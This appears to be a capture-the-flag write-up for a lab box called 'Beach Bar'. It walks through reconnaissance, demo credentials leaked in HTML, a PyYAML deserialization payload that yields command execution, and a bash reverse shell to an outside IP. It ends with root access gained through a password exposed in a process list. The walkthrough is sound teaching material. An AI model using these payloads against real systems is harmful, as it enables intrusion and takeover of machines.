verox›Beach Bar

Beach Bar

Beach Bar cover

The beach bar's jukebox takes song requests from anyone with a phone. The briefing hints at three things a DJ who never logs out, a queue that accepts more than song titles, and a service quietly announcing "something" and each one turns out to be a real finding on the box.


#Recon

Full port + service scan on the target.

nmap -sC -sV -p- -T4 10.112.150.245

nmap scan

Only two ports open: SSH on 22 and a Gunicorn web app on 80 that redirects to /login — Gunicorn means a Python/Flask backend.


#Web Enumeration

Pulled the raw source of the login page and looked for anything left behind in the HTML.

curl -s http://10.112.150.245/login

leaked credentials

Demo credentials dj / dj were sitting in an HTML comment above the form — that's the DJ who never logs out.


#Logging In

Logged in with the leaked creds and landed on the dashboard.

dashboard

The dashboard exposes an Import / Export feature that loads playlists as raw YAML into the Flask backend — the queue that accepts more than song titles.


#Confirming RCE

Since YAML is being parsed server-side, tested for unsafe deserialization with a harmless os.system payload in the Import textarea.

playlist: !!python/object/apply:os.system  args: ['sleep 5']

rce confirmed

The app returned {'playlist': 0} — the 0 is the return code of os.system(), confirming arbitrary command execution.

Once I had a shell I read the source to pin down the bug.

cat /opt/beach-bar/webapp/app.py

vulnerable yaml.load

The /import route calls yaml.load(content, Loader=yaml.Loader) instead of yaml.safe_load() — yaml.Loader deserializes arbitrary Python objects, which is exactly why the payload ran.


#Getting a Shell

Started a listener, then sent a reverse-shell payload through the same Import field (swap in your VPN IP).

nc -lvnp 4444
playlist: !!python/object/apply:os.system  args: ['bash -c "bash -i >& /dev/tcp/192.168.152.228/4444 0>&1"']

reverse shell

Shell landed as bartender (the gunicorn worker runs as that user), giving us a foothold on the box.


#User Flag

Stabilized the shell and read the flag from the user's home directory.

python3 -c 'import pty; pty.spawn("/bin/bash")'cat /home/bartender/user.txt

user flag

User flag captured as bartender.


#Privilege Escalation

sudo -l, SUID, cron and capabilities were all clean, so I looked at running processes.

ps auxww | grep -v "\[" | grep root

leaked stream password

A root-owned daemon jukeboxd.py is running with --stream-pass SunsetSpritz2024! right in its command line.


#Root

Tried the leaked stream password directly against the root account.

su root# password: SunsetSpritz2024!

root flag

The stream password was reused as root's login password su root dropped straight into a root shell, and the flag was in /root/root.txt.


New content available